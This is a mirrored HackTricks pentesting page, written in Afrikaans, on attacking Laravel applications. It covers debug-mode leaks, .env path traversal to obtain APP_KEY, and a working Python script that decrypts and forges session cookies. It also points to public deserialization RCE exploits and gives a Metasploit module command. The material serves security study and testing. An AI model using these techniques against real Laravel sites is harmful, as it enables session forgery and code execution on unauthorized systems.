mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
120 lines
7.1 KiB
Markdown
120 lines
7.1 KiB
Markdown
# Laravel
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Laravel Truuks
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### Debug-modus
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As Laravel in **debug-modus** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\
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Byvoorbeeld `http://127.0.0.1:8000/profiles`:
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.png>)
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Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.
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### .env
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Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te enkripteer binne 'n lêer genaamd `.env` wat toeganklik is deur 'n padtraversie onder: `/../.env`
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Laravel sal ook hierdie inligting wys op die foutopsporingsbladsy (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
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Met die geheime APP\_KEY van Laravel kan jy koekies ontsluit en her-enkripteer:
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### Ontsleutel Koekie
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```python
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import os
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import json
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import hashlib
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import sys
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import hmac
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import base64
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import string
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import requests
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from Crypto.Cipher import AES
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from phpserialize import loads, dumps
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#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
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def mcrypt_decrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.decrypt(value)
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def mcrypt_encrypt(value, iv):
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global key
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AES.key_size = [len(key)]
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crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
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return crypt_object.encrypt(value)
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def decrypt(bstring):
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global key
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dic = json.loads(base64.b64decode(bstring).decode())
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mac = dic['mac']
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value = bytes(dic['value'], 'utf-8')
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iv = bytes(dic['iv'], 'utf-8')
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if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
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return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
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#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
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return ''
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def encrypt(string):
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global key
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iv = os.urandom(16)
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#string = dumps(string)
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padding = 16 - len(string) % 16
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string += bytes(chr(padding) * padding, 'utf-8')
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value = base64.b64encode(mcrypt_encrypt(string, iv))
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iv = base64.b64encode(iv)
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mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
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dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
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return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
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key = base64.b64decode(app_key)
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
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```
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### Laravel Deserialisasie RCE
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Vulnereerbare weergawes: 5.5.40 en 5.6.x tot 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
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Hier kan jy inligting oor die deserialisasie kwesbaarheid vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
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Jy kan dit toets en uitbuit met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
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Of jy kan dit ook uitbuit met metasploit: `use unix/http/laravel_token_unserialize_exec`
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### CVE-2021-3129
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'n Ander deserialisasie: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
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### Laravel SQLInjection
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Lees inligting hieroor hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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<details>
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<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Werk jy by 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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